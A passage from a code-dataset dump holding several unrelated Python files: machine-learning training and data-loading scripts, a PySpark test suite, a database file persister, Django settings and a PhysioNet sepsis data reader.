\nrandom.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\nnumpy.random.seed(seed)\ntorch.backends.cudnn.deterministic=True\ntorch.backends.cudnn.benchmarks=False\nos.environ['PYTHONHASHSEED'] = str(seed)\n\n\n## watch -d -n 0.5 nvidia-smi\n\nfrom DLStudio import *\n\nclass modified_text_classification(DLStudio.TextClassification):\n def run_code_for_training_with_TEXTnet(self, net, hidden_size): \n filename_for_out = \"training_loss_batching_\" + str(self.dl_studio.epochs) + \"epochs.txt\"\n FILE = open(filename_for_out, 'w')\n net = copy.deepcopy(net)\n net = net.to(self.dl_studio.device)\n ## Note that the TEXTnet and TEXTnetOrder2 both produce LogSoftmax output:\n criterion = nn.NLLLoss()\n accum_times = []\n optimizer = optim.SGD(net.parameters(), \n lr=self.dl_studio.learning_rate, momentum=self.dl_studio.momentum)\n start_time = time.perf_counter()\n training_loss_tally = []\n for epoch in range(self.dl_studio.epochs): \n print(\"\")\n running_loss = 0.0\n for i, data in enumerate(self.train_dataloader): \n hidden = torch.zeros(self.dl_studio.batch_size, hidden_size)\n hidden = hidden.to(self.dl_studio.device)\n review_tensor,category,sentiment = data['review'], data['category'], data['sentiment']\n review_tensor = review_tensor.to(self.dl_studio.device)\n sentiment = sentiment.to(self.dl_studio.device)\n optimizer.zero_grad()\n input = torch.zeros(self.dl_studio.batch_size, review_tensor.shape[2])\n input = input.to(self.dl_studio.device)\n #print ('review tensor shape', review_tensor.shape)\n #print ('input shape', input.shape)\n output = torch.zeros(self.dl_studio.batch_size, 2)\n output = output.to(self.dl_studio.device)\n for j in range(self.dl_studio.batch_size):\n for k in range(review_tensor.shape[1]):\n input[j , :] = review_tensor[j, k]\n output, hidden = net(input, hidden)\n loss = criterion(output, torch.argmax(sentiment,1))\n running_loss += loss.item()\n loss.backward(retain_graph=True) \n optimizer.step()\n if i % 20 == 19: \n avg_loss = running_loss / float(20)\n training_loss_tally.append(avg_loss)\n current_time = time.perf_counter()\n time_elapsed = current_time-start_time\n print(\"[epoch:%d iter:%4d elapsed_time: %4d secs] loss: %.5f\" % (epoch+1,i+1, time_elapsed,avg_loss))\n accum_times.append(current_time-start_time)\n FILE.write(\"%.3f\\n\" % avg_loss)\n FILE.flush()\n running_loss = 0.0\n print(\"\\nFinished Training\\n\")\n self.save_model(net)\n plt.figure(figsize=(10,5))\n plt.title(\"Training Loss vs. Iterations\")\n plt.plot(training_loss_tally)\n plt.xlabel(\"iterations\")\n plt.ylabel(\"training loss\")\n plt.legend()\n plt.savefig(\"training_loss_with_batches.png\")\n plt.show()\n\n\nclass modified_sentiment_analysis(DLStudio.TextClassification.SentimentAnalysisDataset):\n def get_max_review_length(self):\n if self.train_or_test == 'train':\n review_lengths = []\n for i in range(len(self.indexed_dataset_train)):\n review_lengths.append(len(self.indexed_dataset_train[i][0]))\n #print (len(self.indexed_dataset_train))\n elif self.train_or_test == 'test':\n review_lengths = []\n for i in range(len(self.indexed_dataset_test)):\n review_lengths.append(len(self.indexed_dataset_test[i][0]))\n return max(review_lengths)\n \n def review_to_tensor(self, review):\n review_tensor = torch.zeros(self.get_max_review_length(), len(self.vocab))\n for i,word in enumerate(review):\n review_tensor[i,:] = self.one_hotvec_for_word(word)\n return review_tensor\n\ndls = DLStudio(\n# dataroot = \"/home/kak/TextDatasets/sentiment_dataset/\",\n #dataroot = \"/data/TextDatasets/sentiment_dataset/\",\n dataroot = \"/content/drive/My Drive/Deep_Learning/Homeworks/HW7/DLStudio-2.0.8/Examples/data/\" ,\n path_saved_model = \"./saved_model\",\n momentum = 0.9,\n learning_rate = 1e-4, \n epochs = 10,\n batch_size = 5,\n classes = ('negative','positive'),\n use_gpu = True,\n )\n\n\ntext_cl = modified_text_classification( dl_studio = dls )\n \ndataserver_train = modified_sentiment_analysis(\n train_or_test = 'train',\n dl_studio = dls,\n dataset_file = \"sentiment_dataset_train_3.tar.gz\",\n)\ndataserver_test = modified_sentiment_analysis(\n train_or_test = 'test',\n dl_studio = dls,\n dataset_file = \"sentiment_dataset_test_3.tar.gz\",\n )\ntext_cl.dataserver_train = dataserver_train\ntext_cl.dataserver_test = dataserver_test\n\ntext_cl.load_SentimentAnalysisDataset(dataserver_train, dataserver_test)\n\nvocab_size = dataserver_train.get_vocab_size()\n#vocab_size = 16\n\nmodel = text_cl.TEXTnet(vocab_size, hidden_size=512, output_size=2)\n\nnumber_of_learnable_params = sum(p.numel() for p in model.parameters() if p.requires_grad)\nnum_layers = len(list(model.parameters()))\n\nprint(\"\\n\\nThe number of layers in the model: %d\" % num_layers)\nprint(\"\\nThe number of learnable parameters in the model: %d\" % number_of_learnable_params)\nprint(\"\\nThe size of the vocabulary (which is also the size of the one-hot vecs for words): %d\\n\\n\" % vocab_size)\n\ntext_cl.run_code_for_training_with_TEXTnet(model, hidden_size=512)\n\n#import pymsgbox\n#response = pymsgbox.confirm(\"Finished training. Start testing on unseen data?\")\n#if response == \"OK\": \n# text_cl.run_code_for_testing_with_TEXTnet(model, hidden_size=512)\n\ntext_cl.run_code_for_testing_with_TEXTnet(model, hidden_size=512)\n\n","sub_path":"Task 3/TextNet_One-Hot/text_classification_with_TEXTnet_batching.py","file_name":"text_classification_with_TEXTnet_batching.py","file_ext":"py","file_size_in_byte":7111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"118069803","text":"import numpy as np\n\nfrom keras.layers.core import Dense\nfrom keras.layers.embeddings import Embedding\nfrom keras.layers.convolutional import (Convolution1D, MaxPooling1D)\nfrom keras.optimizers import (SGD, Adam, Adadelta, Adagrad, RMSprop)\nfrom keras.constraints import maxnorm\nfrom keras.regularizers import l2\n\nfrom modeling.layers import ImmutableEmbedding\n\ndef build_embedding_layer(args):\n try:\n n_embeddings = args.n_vocab\n except AttributeError:\n n_embeddings = args.n_embeddings\n\n try:\n mask_zero = args.mask_zero\n except AttributeError:\n mask_zero = False\n\n if hasattr(args, 'embedding_weights') and args.embedding_weights is not None:\n W = np.load(args.embedding_weights)\n if args.train_embeddings is True or args.train_embeddings == 'true':\n return Embedding(n_embeddings, args.n_embed_dims,\n weights=[W], input_length=args.input_width,\n W_constraint=maxnorm(args.embedding_max_norm),\n mask_zero=mask_zero)\n else:\n return ImmutableEmbedding(n_embeddings, args.n_embed_dims,\n weights=[W], mask_zero=mask_zero,\n input_length=args.input_width)\n else:\n if args.train_embeddings is True:\n return Embedding(n_embeddings, args.n_embed_dims,\n init=args.embedding_init,\n W_constraint=maxnorm(args.embedding_max_norm),\n mask_zero=mask_zero,\n input_length=args.input_width)\n else:\n return ImmutableEmbedding(n_embeddings, args.n_embed_dims,\n init=args.embedding_init,\n mask_zero=mask_zero,\n input_length=args.input_width)\n\ndef build_convolutional_layer(args):\n return Convolution1D(args.n_filters, args.filter_width,\n W_constraint=maxnorm(args.filter_max_norm),\n border_mode=args.border_mode,\n W_regularizer=l2(args.l2_penalty))\n\ndef build_pooling_layer(args):\n return MaxPooling1D(\n pool_length=args.input_width - args.filter_width + 1,\n stride=1)\n\ndef build_dense_layer(args, n_hidden=None, activation='linear'):\n if n_hidden is None:\n n_hidden = args.n_hidden\n return Dense(n_hidden,\n W_regularizer=l2(args.l2_penalty),\n W_constraint=maxnorm(args.dense_max_norm),\n activation=activation)\n\ndef load_weights(args, model):\n if hasattr(args, 'model_weights') and args.model_weights is not None:\n print('Loading weights from %s' % args.model_weights)\n model.load_weights(args.model_weights)\n\ndef build_optimizer(args):\n if args.optimizer == 'SGD':\n optimizer = SGD(lr=args.learning_rate,\n decay=args.decay, momentum=args.momentum,\n clipnorm=args.clipnorm)\n elif args.optimizer == 'Adam':\n optimizer = Adam(clipnorm=args.clipnorm)\n elif args.optimizer == 'RMSprop':\n optimizer = RMSprop(clipnorm=args.clipnorm)\n elif args.optimizer == 'Adadelta':\n optimizer = Adadelta(clipnorm=args.clipnorm)\n elif args.optimizer == 'Adagrad':\n optimizer = Adagrad(clipnorm=args.clipnorm)\n else:\n raise ValueError(\"don't know how to use optimizer {0}\".format(args.optimizer))\n\n return optimizer\n","sub_path":"modeling/builders.py","file_name":"builders.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"462838036","text":"import numpy as np\nimport os\n\nclass game_class(object):\n\n #flower dataset\n file = open(os.getcwd() + \"\\\\info\\\\environments\\\\complex dataset\\\\dataset_1.txt\")\n\n lenght_of_dataset = int(int(file.readline())/2)\n\n temp = file.readline().split(\",\")\n temp = [float(i) for i in temp]\n number_of_inputs = len(temp)\n dataset_inputs = np.zeros((lenght_of_dataset,number_of_inputs))\n dataset_inputs[0] = temp\n\n temp = file.readline().split(\",\")\n temp = [float(i) for i in temp]\n number_of_outputs = len(temp)\n dataset_outputs = np.zeros((lenght_of_dataset,number_of_outputs))\n dataset_outputs[0] = temp\n\n for loop in range(1,lenght_of_dataset):\n\n temp = file.readline().split(\",\")\n temp = [float(i) for i in temp]\n dataset_inputs[loop] = temp\n\n temp = file.readline().split(\",\")\n temp = [float(i) for i in temp]\n dataset_outputs[loop] = temp\n file.close()\n index = 0\n finished = [0]\n fitness = [0]\n\n def start_games(self,game_IDs,start_firsts):\n\n boards = np.zeros((len(game_IDs),self.number_of_inputs))\n self.finished = np.zeros((np.amax(game_IDs)+1))\n self.fitness = np.zeros((np.amax(game_IDs)+1))\n turns = np.zeros((len(game_IDs)))\n for loop in range(len(game_IDs)):\n ID = game_IDs[loop]\n boards[loop] = self.dataset_inputs[self.index]\n\n return boards , turns\n\n def move(self,game_IDs,moves,run_best):\n turns = np.zeros((len(game_IDs)))\n boards = np.zeros((len(game_IDs),self.number_of_inputs))\n vailded = np.ones((len(game_IDs)), dtype=bool)\n\n for loop in range(len(game_IDs)):\n ID = game_IDs[loop]\n\n #print(\"board: \" + str(self.dataset_inputs[int(self.index)]))\n #print(\"move: \" + str(moves[loop]))\n #print(\"target: \" + str(self.dataset_outputs[int(self.index)]))\n #print(\"\")\n if np.round(moves[loop],2) == self.dataset_outputs[int(self.index)]:\n #print(\"tick\")\n temp = 1\n else:\n temp = 0\n \n self.fitness[ID] += temp\n\n self.finished[ID] = True\n\n boards[loop] = self.dataset_inputs[int(self.index)]\n\n if self.index < len(self.dataset_inputs)-1:\n self.index += 1\n else:\n self.index = 0\n return boards , turns , vailded\n \n def end_check(self,game_IDs):\n\n finished = np.zeros((len(game_IDs)))\n\n for loop in range(len(game_IDs)):\n ID = game_IDs[loop]\n finished[loop] = self.finished[ID]\n\n return finished\n\n def get_fitness(self,game_IDs,run_best):\n\n return self.fitness\n\n def get_dataset(self):\n\n return self.dataset_inputs ,self.dataset_outputs\n\n def set_dataset(self,new_inputs,new_outputs):\n self.dataset_inputs = new_inputs\n self.dataset_outputs = new_outputs\n\n self.number_of_inputs = len(self.dataset_inputs[0])\n self.lenght_of_dataset = len(self.dataset_inputs)\n self.number_of_outputs = len(self.dataset_outputs[0])\n return ","sub_path":"complex dataset.py","file_name":"complex dataset.py","file_ext":"py","file_size_in_byte":3146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"244094041","text":"#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os\nimport unittest\n\nfrom testutils import ReusedSQLTestCase\nfrom requirements import have_pandas, have_pyarrow, \\\n pandas_requirement_message, pyarrow_requirement_message\n\nfrom pyspark import SparkConf\nfrom pyspark.rdd import PythonEvalType\nfrom pyspark.sql import Row\nfrom pyspark.sql.functions import col, udf\n\nfrom repair.api import *\n\ndef load_testdata(spark, filename):\n fmt = os.path.splitext(filename)[1][1:]\n return spark.read.format(fmt) \\\n .option(\"header\", True) \\\n .load(\"%s/%s\" % (os.getenv(\"SCAVENGER_TESTDATA\"), filename))\n\n@unittest.skipIf(\n not have_pandas or not have_pyarrow,\n pandas_requirement_message or pyarrow_requirement_message)\nclass ScavengerRepairModelTests(ReusedSQLTestCase):\n\n @classmethod\n def conf(cls):\n return SparkConf() \\\n .set(\"spark.jars\", os.getenv(\"SCAVENGER_REPAIR_API_LIB\")) \\\n .set(\"spark.sql.crossJoin.enabled\", \"true\") \\\n .set(\"spark.sql.cbo.enabled\", \"true\") \\\n .set(\"spark.sql.statistics.histogram.enabled\", \"true\") \\\n .set(\"spark.sql.statistics.histogram.numBins\", \"254\")\n\n @classmethod\n def setUpClass(cls):\n super(ScavengerRepairModelTests, cls).setUpClass()\n\n # Tunes # shuffle partitions\n num_parallelism = cls.spark.sparkContext.defaultParallelism\n cls.spark.sql(\"SET spark.sql.shuffle.partitions=%s\" % num_parallelism)\n\n # Loads test data\n load_testdata(cls.spark, \"adult.csv\").createOrReplaceTempView(\"adult\")\n load_testdata(cls.spark, \"adult_dirty.csv\").createOrReplaceTempView(\"adult_dirty\")\n\n def test_invalid_params(self):\n self.assertRaisesRegexp(\n ValueError,\n \"`setTableName` and `setRowId` should be called before repairing\",\n lambda: ScavengerRepairModel().run())\n self.assertRaisesRegexp(\n ValueError,\n \"`setTableName` and `setRowId` should be called before repairing\",\n lambda: ScavengerRepairModel().setTableName(\"dummyTab\").run())\n self.assertRaisesRegexp(\n ValueError,\n \"`setRepairDelta` should be called before maximal likelihood repairing\",\n lambda: ScavengerRepairModel().setTableName(\"dummyTab\").setRowId(\"dummyId\") \\\n .setMaximalLikelihoodRepairEnabled(True).run())\n self.assertRaisesRegexp(\n ValueError,\n \"inference order must be `error`, `domain`, or `entropy`\",\n lambda: ScavengerRepairModel().setTableName(\"dummyTab\").setRowId(\"dummyId\") \\\n .setInferenceOrder(\"invalid\").run())\n\n def __assert_exclusive_params(self, func):\n self.assertRaisesRegexp(ValueError, \"cannot be set to True simultaneously\", func)\n\n def test_exclusive_params(self):\n test_model = ScavengerRepairModel()\n api = test_model.setTableName(\"dummyTab\").setRowId(\"dummyId\")\n self.__assert_exclusive_params(\n lambda: api.run(detect_errors_only=True, compute_repair_candidate_prob=True))\n self.__assert_exclusive_params(\n lambda: api.run(detect_errors_only=True, compute_training_target_hist=True))\n self.__assert_exclusive_params(\n lambda: api.run(detect_errors_only=True, repair_data=True))\n self.__assert_exclusive_params(\n lambda: api.run(compute_repair_candidate_prob=True, compute_training_target_hist=True))\n self.__assert_exclusive_params(\n lambda: api.run(compute_repair_candidate_prob=True, repair_data=True))\n\n def test_basic(self):\n test_model = ScavengerRepairModel()\n df = test_model.setTableName(\"adult\").setRowId(\"tid\").setErrorCells(\"adult_dirty\").run()\n repair_expected_df = load_testdata(self.spark, \"adult_repair_expected.csv\")\n self.assertEqual(\n df.orderBy(\"tid\", \"attribute\").collect(),\n repair_expected_df.orderBy(\"tid\", \"attribute\").collect())\n\n def test_version(self):\n self.assertEqual(ScavengerRepairModel().version(), \\\n \"0.1.0-spark3.0-EXPERIMENTAL\")\n\nif __name__ == \"__main__\":\n try:\n import xmlrunner\n testRunner = xmlrunner.XMLTestRunner(output=\"target/test-reports\", verbosity=2)\n except ImportError:\n testRunner = None\n unittest.main(testRunner=testRunner, verbosity=2)\n\n","sub_path":"bin/tests/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":5109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"210243382","text":"#!/usr/bin/python\n\nimport logging\nfrom filedbimport.connector.dbconnectors import OracleConnector\n\n\nclass FilePersister(object):\n \"\"\"docstring for FilePersister\"\"\"\n\n def __init__(self, dbConnector):\n super(FilePersister, self).__init__()\n self.dbConnector = dbConnector\n\n def persistFile(self, srcFileName, targetFileName):\n logger = logging.getLogger(\"root\")\n if(self.dbConnector.isExists(targetFileName) == 0):\n logger.info(\"%s does not exsit in DB, so insert this file.\" % targetFileName)\n self.insertFile(srcFileName, targetFileName)\n else:\n logger.info(\"%s exsits in DB, so update this file.\" % targetFileName)\n self.updateFile(srcFileName, targetFileName)\n\n def insertFile(self, srcFileName, targetFileName):\n logger = logging.getLogger(\"root\")\n fileBody = open(srcFileName, \"rb\").read()\n self.dbConnector.insertFileInDB(targetFileName, fileBody)\n logger.debug(\"insert file done.\")\n\n def updateFile(self, srcFileName, targetFileName):\n logger = logging.getLogger(\"root\")\n fileBody = open(srcFileName, \"rb\").read()\n self.dbConnector.updateFileInDB(targetFileName, fileBody)\n logger.debug(\"update file done.\")\n\n def dumpFile(self, fileNameInDB, wrFileName):\n logger = logging.getLogger(\"root\")\n fileBody = self.dbConnector.readFileFromDB(fileNameInDB)\n wrFile = open(wrFileName, \"wb+\")\n wrFile.write(fileBody)\n logger.debug(\"Dump file done.\")\n","sub_path":"filedbimport/processor/persistfiles.py","file_name":"persistfiles.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"461281968","text":"import pandas as pd\nimport numpy as np\n\ndataset_data = pd.read_csv('/home/valentin/human_tracker_ws/FERIT_dataset/kinect_k07_1/results/k07_stamps_annotations.csv').to_numpy()\nmethod_data = pd.read_csv('/home/valentin/human_tracker_ws/FERIT_dataset/kinect_k07_1/results/k07_method21.csv').to_numpy()\n\n# print(method_data)\n\nmethod_full_data = dataset_data.copy()\ncounter = 0\n\nfor i in range(method_full_data.shape[0]):\n row_dataset = method_full_data[i]\n for row_method in method_data:\n if abs(row_dataset[1] - row_method[1]) < 0.00001:\n counter += 1\n method_full_data[i] = row_method[0:2]\n break\n\n\nprint(counter)\npd.DataFrame(method_full_data, columns=[\"PersoneNumber\", \"TIME\"]).to_csv(\"/home/valentin/human_tracker_ws/FERIT_dataset/kinect_k07_1/results/k07_full_method21_data.csv\", index=None)\n","sub_path":"src/dataset_testing/src/pyscripts/merge_dataset_method_data.py","file_name":"merge_dataset_method_data.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"175904718","text":"import logging\n\n# 用于获取logger对象\n# 参数:类型0 或 非0\n# 返回:相应的logger对象\ndef getLogger(type=0):\n # 用于记录DB出错的提及\n # 创建一个logger\n logger = logging.getLogger(\"consoleLog\")\n logger.setLevel(logging.ERROR)\n\n # 创建一个handler用于控制台输出\n console_handler = logging.StreamHandler()\n console_handler.setLevel(logging.ERROR)\n\n # 创建第二个handler用于日记记录\n file_handler = logging.FileHandler('D:/python3.7-64/show_in_the_map/application/logs/DB_log.log') if type == 0 else logging.FileHandler('D:/python3.7-64/show_in_the_map/application/logs/data_log.log')\n file_handler.setLevel(logging.ERROR)\n\n # 自定义handler日记输出格式\n LOG_FORMAT = \"%(asctime)s - %(levelname)s - %(message)s\"\n formatter = logging.Formatter(LOG_FORMAT)\n console_handler.setFormatter(formatter)\n file_handler.setFormatter(formatter)\n\n # 拼接handler\n logger.addHandler(console_handler)\n logger.addHandler(file_handler)\n\n return logger","sub_path":"application/utils/logUtil.py","file_name":"logUtil.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"393330321","text":"from deathquake.settings.base import *\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'sqlite3',\n }\n}\n\nGAMES_DIRECTORY = '/home/fjerlv/dev/deathquake/games/'\nGAME_SERVER_ADDRESS = '127.0.0.1'\nGAME_SERVER_PORT = 27960\nLONG_BREAK_EACH_N_ROUND = 4\nLONG_BREAK_MINUTES = 2\nRCON = 'Hunter2'\nROUND_TIME_MINUTES = 1\nSECRET_KEY = 'Hunter2'\nSMALL_BREAK_MINUTES = 1\nWINNING_SCORE = 16\n","sub_path":"deathquake/settings/fjerlv.py","file_name":"fjerlv.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"568187313","text":"import os\nimport pandas as pd\nimport random\nimport math\nclass ReadPhysionetSepsisData():\n def __init__(self, dataPath, labelPath, maxLength, isNormal, isSlicing, sliceGap=60):\n labelFile = open(labelPath)\n fileNames=[]\n labels=[]\n #dataset: filenames,labels\n line_num = 0\n for line in labelFile.readlines():\n # rstrip() remove spaces in right end\n if line_num!=0:\n words = line.strip().split(',')\n if os.path.isfile(os.path.join(dataPath, words[0]+\".txt\")):\n fileNames.append(words[0]+\".txt\" )\n if words[-1]==\"0\":\n labels.append([1,0])\n if words[-1]==\"1\":\n labels.append([0,1])\n line_num=line_num+1\n self.dataPath = dataPath\n self.fileNames = fileNames\n labelFile.close()\n\n dic = {'time': -1, 'HR': 0, 'O2Sat': 1, 'Temp': 2, 'SBP': 3, 'MAP': 4, 'DBP': 5,\n 'Resp': 6, 'EtCO2': 7, 'BaseExcess': 8, 'HCO3': 9, 'FiO2': 10,\n 'pH': 11, 'PaCO2': 12, 'SaO2': 13, 'AST': 14, 'BUN': 15,\n 'Alkalinephos': 16, 'Calcium': 17, 'Chloride': 18, 'Creatinine': 19,\n 'Bilirubin_direct': 20, 'Glucose': 21, 'Lactate': 22, 'Magnesium': 23,\n 'Phosphate': 24, 'Potassium': 25, 'Bilirubin_total': 26,\n 'TroponinI': 27, 'Hct': 28, 'Hgb': 29, 'PTT': 30, 'WBC': 31,\n 'Fibrinogen': 32, 'Platelets': 33, 'Age': 34, 'Gender': 35,\n 'Unit1': 36, 'Unit2': 37, 'HospAdmTime': 38, 'ICULOS': 39,\n 'SepsisLabel': 40}\n\n print(len(dic))\n\n self.dic = dic\n mean = [0.0] * (len(dic) - 1)\n meancount = [0] * (len(dic) - 1)\n x = []\n times = []\n non_in_dic_count = 0\n # times: totalFilesLength*steps\n # x: totalFilesLength*steps*feature_length\n for fileName in fileNames:\n f = open(os.path.join(self.dataPath, fileName))\n count = 0\n age = gender = unit1 = unit2 = admtime = iculos = -1\n lastTime = 0\n totalData = []\n t_times = []\n for line in f.readlines():\n if count > 1:\n words = line.strip().split(\",\")\n timestamp = words[0]\n feature = words[1]\n value = words[2]\n\n # 0 is missing value,orignal gender is 0/1 ,after preprocessing\n # gender is 0/1/2(missing,female, male)\n if timestamp == \"00:00\":\n if feature == 'Age':\n age = \"0\" if value == \"NaN\" else value\n # calcuate mean\n if age != \"0\":\n mean[self.dic[feature]] += float(age)\n meancount[self.dic[feature]] += 1\n if feature == 'Gender':\n if value == \"NaN\":\n gender = \"0\"\n if value == \"0\":\n gender = \"1\"\n if value == \"1\":\n gender = \"2\"\n # calcuate mean\n if gender != \"0\":\n mean[self.dic[feature]] += float(gender)\n meancount[self.dic[feature]] += 1\n if feature == 'Unit1':\n unit1 = \"0\" if value == \"NaN\" else value\n # calcuate mean\n if unit1 != \"0\":\n mean[self.dic[feature]] += float(unit1)\n meancount[self.dic[feature]] += 1\n if feature == 'Unit2':\n unit2 = \"0\" if value == \"NaN\" else value\n # calcuate mean\n if unit2 != \"0\":\n mean[self.dic[feature]] += float(unit2)\n meancount[self.dic[feature]] += 1\n if feature == 'HospAdmTime':\n admtime = \"0\" if value == \"NaN\" else value\n # calcuate mean\n if admtime != \"0\":\n mean[self.dic[feature]] += float(admtime)\n meancount[self.dic[feature]] += 1\n if feature == 'ICULOS':\n iculos = \"0\" if value == \"NaN\" else value\n # calcuate mean\n if iculos != \"0\":\n mean[self.dic[feature]] += float(iculos)\n meancount[self.dic[feature]] += 1\n\n else:\n if timestamp != lastTime:\n data = [0.0] * (len(dic) - 1)\n hourandminute = timestamp.split(\":\")\n t_times.append(float(hourandminute[0]) * 60 + float(\n hourandminute[1]))\n\n data[0] = float(age)\n data[1] = float(gender)\n data[2] = float(unit1)\n data[3] = float(unit2)\n data[4] = float(admtime)\n data[5] = float(iculos)\n\n data[self.dic[feature]] = float(value)\n mean[self.dic[feature]] += float(value)\n meancount[self.dic[feature]] += 1\n\n totalData.append(data)\n else:\n\n totalData[-1][self.dic[feature]] = float(value)\n mean[self.dic[feature]] += float(value)\n meancount[self.dic[feature]] += 1\n\n lastTime = timestamp\n count += 1\n # if len(totalData)==24:\n # break;\n\n x.append(totalData)\n times.append(t_times)\n f.close()\n\n self.x = x\n self.y = labels\n self.times = times\n\n self.timeslicing(isSlicing, sliceGap)\n\n for i in range(len(mean)):\n if meancount[i] != 0:\n mean[i] = mean[i] / meancount[i]\n self.mean = mean\n\n # normalization\n m = [] # mask 0/1\n # first calculate std\n self.std = [0.0] * (len(dic) - 1)\n for onefile in self.x:\n one_m = []\n for oneclass in onefile:\n t_m = [0] * len(oneclass)\n for j in range(len(oneclass)):\n if oneclass[j] != 0:\n self.std[j] += (oneclass[j] - self.mean[j]) ** 2\n t_m[j] = 1\n one_m.append(t_m)\n m.append(one_m)\n for j in range(len(self.std)):\n self.std[j] = math.sqrt(1.0 / (meancount[j] - 1) * self.std[j])\n\n self.isNormal = isNormal\n self.normalization(isNormal)\n\n x_lengths = [] #\n deltaPre = [] # time difference\n lastvalues = [] # if missing, last values\n deltaSub = []\n subvalues = []\n for h in range(len(self.x)):\n # oneFile: steps*value_number\n oneFile = self.x[h]\n one_time = self.times[h]\n x_lengths.append(len(oneFile))\n\n one_deltaPre = []\n one_lastvalues = []\n\n one_deltaSub = []\n one_subvalues = []\n\n one_m = m[h]\n for i in range(len(oneFile)):\n t_deltaPre = [0.0] * len(oneFile[i])\n t_lastvalue = [0.0] * len(oneFile[i])\n one_deltaPre.append(t_deltaPre)\n one_lastvalues.append(t_lastvalue)\n\n if i == 0:\n for j in range(len(oneFile[i])):\n one_lastvalues[i][j] = 0.0 if one_m[i][j] == 0 else \\\n oneFile[i][j]\n continue\n for j in range(len(oneFile[i])):\n if one_m[i - 1][j] == 1:\n one_deltaPre[i][j] = one_time[i] - one_time[i - 1]\n if one_m[i - 1][j] == 0:\n one_deltaPre[i][j] = one_time[i] - one_time[i - 1] + \\\n one_deltaPre[i - 1][j]\n\n if one_m[i][j] == 1:\n one_lastvalues[i][j] = oneFile[i][j]\n if one_m[i][j] == 0:\n one_lastvalues[i][j] = one_lastvalues[i - 1][j]\n\n for i in range(len(oneFile)):\n t_deltaSub = [0.0] * len(oneFile[i])\n t_subvalue = [0.0] * len(oneFile[i])\n one_deltaSub.append(t_deltaSub)\n one_subvalues.append(t_subvalue)\n # construct array\n for i in range(len(oneFile) - 1, -1, -1):\n if i == len(oneFile) - 1:\n for j in range(len(oneFile[i])):\n one_subvalues[i][j] = 0.0 if one_m[i][j] == 0 else \\\n oneFile[i][j]\n continue\n for j in range(len(oneFile[i])):\n if one_m[i + 1][j] == 1:\n one_deltaSub[i][j] = one_time[i + 1] - one_time[i]\n if one_m[i + 1][j] == 0:\n one_deltaSub[i][j] = one_time[i + 1] - one_time[i] + \\\n one_deltaSub[i + 1][j]\n\n if one_m[i][j] == 1:\n one_subvalues[i][j] = oneFile[i][j]\n if one_m[i][j] == 0:\n one_subvalues[i][j] = one_subvalues[i + 1][j]\n\n # m.append(one_m)\n deltaPre.append(one_deltaPre)\n lastvalues.append(one_lastvalues)\n deltaSub.append(one_deltaSub)\n subvalues.append(one_subvalues)\n self.m = m\n self.deltaPre = deltaPre\n self.lastvalues = lastvalues\n self.deltaSub = deltaSub\n self.subvalues = subvalues\n self.x_lengths = x_lengths\n self.maxLength = maxLength\n\n print(\"max_length is : \" + str(self.maxLength))\n print(\"non_in_dic_count is : \" + str(non_in_dic_count))\n\n resultFile = open(os.path.join(\"./\", \"meanAndstd\"), 'w')\n for i in range(len(self.mean)):\n resultFile.writelines(\n str(self.mean[i]) + \",\" + str(self.std[i]) + \",\" + str(\n meancount[i]) + \"\\r\\n\")\n resultFile.close()\n\n def normalization(self,isNormal):\n if not isNormal:\n return\n for onefile in self.x:\n for oneclass in onefile:\n for j in range(len(oneclass)):\n if oneclass[j] !=0:\n if self.std[j]==0:\n oneclass[j]=0.0\n else:\n oneclass[j]=1.0/self.std[j]*(oneclass[j]-self.mean[j])\n\n def timeslicing(self,isSlicing,sliceGap):\n #slicing x, make time gap be 30min, get the average of 30min\n if not isSlicing:\n return\n else:\n newx=[]\n newtimes=[]\n for i in range(len(self.times)):\n nowx=self.x[i]\n nowtime=self.times[i]\n lasttime=0\n newnowx=[]\n newnowtime=[]\n count=[0.0]*(len(self.dic)-1)\n tempx=[0.0]*(len(self.dic)-1)\n #newnowx.append(tempx)\n #newnowtime.append(lasttime)\n # nowtime.append(48*60+2)\n for j in range(len(nowtime)):\n if nowtime[j]<=lasttime+sliceGap:\n for k in range(0,len(self.dic)-1):\n tempx[k]+=nowx[j][k]\n if nowx[j][k]!=0:\n count[k]+=1.0\n else:\n for k in range(0,len(self.dic)-1):\n if count[k]==0:\n count[k]=1.0\n tempx[k]=tempx[k]/count[k]\n while nowtime[j]>lasttime+sliceGap:\n newnowx.append(tempx)\n newnowtime.append(lasttime)\n lasttime+=sliceGap\n count=[0.0]*(len(self.dic)-1)\n tempx=[0.0]*(len(self.dic)-1)\n # j may be len(nowx), we add one point into nowtime before\n if j 1:\n # Foi necessária essa linha, pois existem casos que não há\n # latitude e longitude no arquivo de texto\n if len(content[idx-1].split('Latitude')) > 1:\n coordinates.append({\n 'lat': content[idx-1].split(' ')[1].rstrip('\\n'),\n 'lon': content[idx].split(' 